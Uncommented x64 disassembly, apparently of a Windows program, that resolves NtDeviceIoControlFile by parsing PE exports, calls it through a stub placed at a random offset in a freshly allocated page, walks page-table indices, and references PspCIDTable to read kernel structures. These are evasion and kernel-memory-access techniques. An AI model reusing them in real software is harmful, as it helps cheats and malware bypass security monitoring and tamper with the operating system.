je 0x140062cdb
movabs rax, 0x3ffffffe00000
and rsi, rax
mov rax, qword [rsp + 0x50]
and eax, 0x1fffff
jmp 0x140063245
mov rax, qword [rsp + 0x50]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rsi, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x298], 0
xor edx, edx
mov qword [rbp + 0x2a0], 0
xorps xmm0, xmm0
mov qword [rbp + 0x2a8], 0
movups xmmword [rbp + 0x1000], xmm0
lea rax, [rsi + rax*8]
mov qword [rbp + 0x288], 8
mov qword [rbp + 0x290], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140062f9d
cmp word [rax], bx
jne 0x140062f9d
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140062f9d
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140062f9d
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140062f98
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140062de3
inc rbx
cmp rbx, r14
jb 0x140062dc0
jmp 0x140062f98
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140062f98
mov esi, dword [rcx + 4]
test esi, esi
js 0x140062f98
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x77de4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x76a60]
call fcn.1400be1b0
lea rcx, [rbp + 0x76a60]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x76a60]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xe7fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140062e73
mov r8d, 0x1000
lea rdx, [rbp + 0xe7fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcc0]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcc0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x288]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x288]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1000]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcc0]
lea r9, [rbp + 0xcc0]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006de34
mov ebx, 0x5a4d
mov rsi, qword [rbp + 0x2a0]
test rsi, rsi
je 0x14006de34
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rsi, qword [rsi]
xor edx, edx
mov dword [rbp + 0xc48], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x140063224
cmp word [rax], bx
jne 0x140063224
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140063224
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140063224
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov r14d, dword [rax + 0x20]
add r13, rdi
mov r15d, dword [rax + 0x18]
add r14, rdi
test r15, r15
je 0x140063224
nop word [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140063064
inc rbx
cmp rbx, r15
jb 0x140063040
jmp 0x140063224
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140063224
mov edi, dword [rcx + 4]
test edi, edi
js 0x140063224
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x79174], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x77df0]
call fcn.1400be1b0
lea rcx, [rbp + 0x77df0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor r12d, r12d
mov ebx, r12d
nop dword [rax + rax]
lea rcx, [rbp + 0x77df0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xe8fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140063100
mov r8d, 0x1000
lea rdx, [rbp + 0xe8fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], edi
lea rbx, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcc4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcc4], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x288]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x288]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0xc48]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1000]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcc4]
lea r9, [rbp + 0xcc4]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r12d
test ebx, ebx
js 0x14006de34
test sil, 1
je 0x14006de34
movabs rax, 0x3fffffffff000
and rsi, rax
mov rax, qword [rsp + 0x50]
and eax, 0xfff
add rsi, rax
test rsi, rsi
je 0x14006de34
mov rax, rsi
mov qword [rbp + 0x2c0], 0
and eax, 0xfff
mov qword [rbp + 0x2c8], 0
xorps xmm0, xmm0
mov qword [rbp + 0x2d0], 0
mov r13d, 0x1000
mov qword [rbp + 0x2b8], rsi
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r13, qword [rsp + 0x60]
mov dword [rbp + 0xc48], eax
cmovae r13, qword [rsp + 0x60]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0x1010], xmm0
mov qword [rbp + 0x2b0], r13
lea r8d, [rdx + 1]
mov qword [rbp + 0xc30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140063519
cmp word [rax], bx
jne 0x140063519
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140063519
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140063519
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140063514
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140063354
inc rbx
cmp rbx, r14
jb 0x140063331
jmp 0x140063514
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140063514
mov esi, dword [rcx + 4]
test esi, esi
js 0x140063514
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x7a504], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x79180]
call fcn.1400be1b0
lea rcx, [rbp + 0x79180]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r15d, r15d
mov ebx, r15d
nop dword [rax + rax]
lea rcx, [rbp + 0x79180]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xe9fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400633f0
mov r8d, 0x1000
lea rdx, [rbp + 0xe9fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcc8]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcc8], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x2b0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x2b0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0xc48]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1010]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcc8]
lea r9, [rbp + 0xcc8]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r15d
test ebx, ebx
js 0x1400637da
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x2c8]
test rdx, rdx
je 0x1400637da
lea rcx, [rbp + 0xc40]
mov r8, r13
add rcx, qword [rbp + 0xc38]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rbp + 0xc48], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x1400637a9
cmp word [rax], bx
jne 0x1400637a9
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400637a9
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400637a9
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x1400637a9
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400635f3
inc rbx
cmp rbx, r14
jb 0x1400635d0
jmp 0x1400637a9
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x1400637a9
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400637a9
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x7b894], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x7a510]
call fcn.1400be1b0
lea rcx, [rbp + 0x7a510]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x7a510]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x9dfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140063683
mov r8d, 0x1000
lea rdx, [rbp + 0x9dfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xccc]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xccc], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x2b0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x2b0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rbp + 0xc48]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1010]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xccc]
lea r9, [rbp + 0xccc]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x1400637da
mov rbx, qword [rsp + 0x60]
mov rax, qword [rbp + 0xc38]
sub rbx, r13
mov rcx, qword [rsp + 0x78]
add rax, r13
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x60], rbx
mov qword [rbp + 0xc38], rax
test rbx, rbx
jne 0x140061c80
mov rbx, qword [rbp + 0xc40]
lea rdx, [rbp - 0x70]
lea rcx, str.PspCIDTable:
mov qword [rsp + 0x50], rbx
mov qword [rbp - 0x70], rbx
call fcn.1400c1130
test rbx, rbx
je 0x140061b66
xor eax, eax
mov dword [rbp + 0xc48], 0
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x60], 4
nop dword [rax]
mov rcx, qword [rsp + 0x68]
add rax, rbx
mov r13d, dword [0x140322b68]
xor edx, edx
mov qword [rbp + 0xc38], rax
xorps xmm0, xmm0
shr rax, 0x27
and eax, 0x1ff
mov qword [rbp + 0x2e8], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0x2f0], 0
mov qword [rbp + 0x2f8], 0
movups xmmword [rbp + 0x1020], xmm0
lea rax, [rcx + rax*8]
mov qword [rbp + 0x2d8], 8
mov qword [rbp + 0x2e0], rax
lea rcx, [0x1401fded8]
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x140063adf
cmp word [rax], r14w
jne 0x140063adf
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140063adf
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140063adf
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140063ad9
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140063924
inc rbx
cmp rbx, r14
jb 0x140063901
jmp 0x140063ad9
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140063ad9
mov esi, dword [rcx + 4]
test esi, esi
js 0x140063ad9
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x7cc24], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x7b8a0]
call fcn.1400be1b0
lea rcx, [rbp + 0x7b8a0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x7b8a0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x9efe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400639b4
mov r8d, 0x1000
lea rdx, [rbp + 0x9efe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcd0]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcd0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x2d8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x2d8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1020]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcd0]
lea r9, [rbp + 0xcd0]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140065433
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x2f0]
test rbx, rbx
je 0x140065433
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140063d69
cmp word [rax], r14w
jne 0x140063d69
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140063d69
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140063d69
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140063d69
nop dword [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140063ba4
inc rdi
cmp rdi, r15
jb 0x140063b80
jmp 0x140063d69
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140063d69
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140063d69
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x7dfb4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x7cc30]
call fcn.1400be1b0
lea rcx, [rbp + 0x7cc30]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x7cc30]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xc0fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140063c40
mov r8d, 0x1000
lea rdx, [rbp + 0xc0fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcd4]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xcd4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x2d8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x2d8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1020]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xcd4]
lea r9, [rbp + 0xcd4]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140065433
mov rsi, qword [rsp + 0x50]
test bl, 1
je 0x14006542e
mov rax, qword [rbp + 0xc38]
xor r15d, r15d
shr rax, 0x1e
movabs rcx, 0xffffffffff000
and eax, 0x1ff
mov qword [rbp + 0x310], r15
and rbx, rcx
mov qword [rbp + 0x318], r15
xorps xmm0, xmm0
mov qword [rbp + 0x320], r15
xor edx, edx
mov qword [rbp + 0x300], 8
lea r8d, [r15 + 1]
lea rax, [rbx + rax*8]
mov qword [rbp + 0x308], rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
movups xmmword [rbp + 0x1030], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rsp + 0x50], rsi
mov r14d, 0x5a4d
mov rdi, rax
test rax, rax
je 0x14006405e
cmp word [rax], r14w
jne 0x14006405e
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x50], rsi
cmp dword [rax + rdi], 0x4550
jne 0x14006405e
mov eax, dword [rax + rdi + 0x88]
mov qword [rsp + 0x50], rsi
add rax, rdi
je 0x14006405e
mov r12d, dword [rax + 0x1c]
mov ebx, r15d
mov r13d, dword [rax + 0x24]
add r12, rdi
mov r14d, dword [rax + 0x20]
add r13, rdi
mov r15d, dword [rax + 0x18]
add r14, rdi
mov qword [rsp + 0x50], rsi
test r15, r15
je 0x140064058
mov qword [rsp + 0x50], rsi
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140063e96
inc rbx
cmp rbx, r15
jb 0x140063e72
jmp 0x140064058
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140064058
mov esi, dword [rcx + 4]
test esi, esi
js 0x140064058
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x7f344], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x7dfc0]
call fcn.1400be1b0
lea rcx, [rbp + 0x7dfc0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x7dfc0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x9ffe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140063f30
mov r8d, 0x1000
lea rdx, [rbp + 0x9ffe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcd8]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcd8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x300]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x300]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1030]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcd8]
lea r9, [rbp + 0xcd8]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140065433
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x318]
test rbx, rbx
je 0x140065433
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400642e9
cmp word [rax], r14w
jne 0x1400642e9
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400642e9
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400642e9
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400642e9
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140064124
inc rdi
cmp rdi, r15
jb 0x140064100
jmp 0x1400642e9
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400642e9
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x1400642e9
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
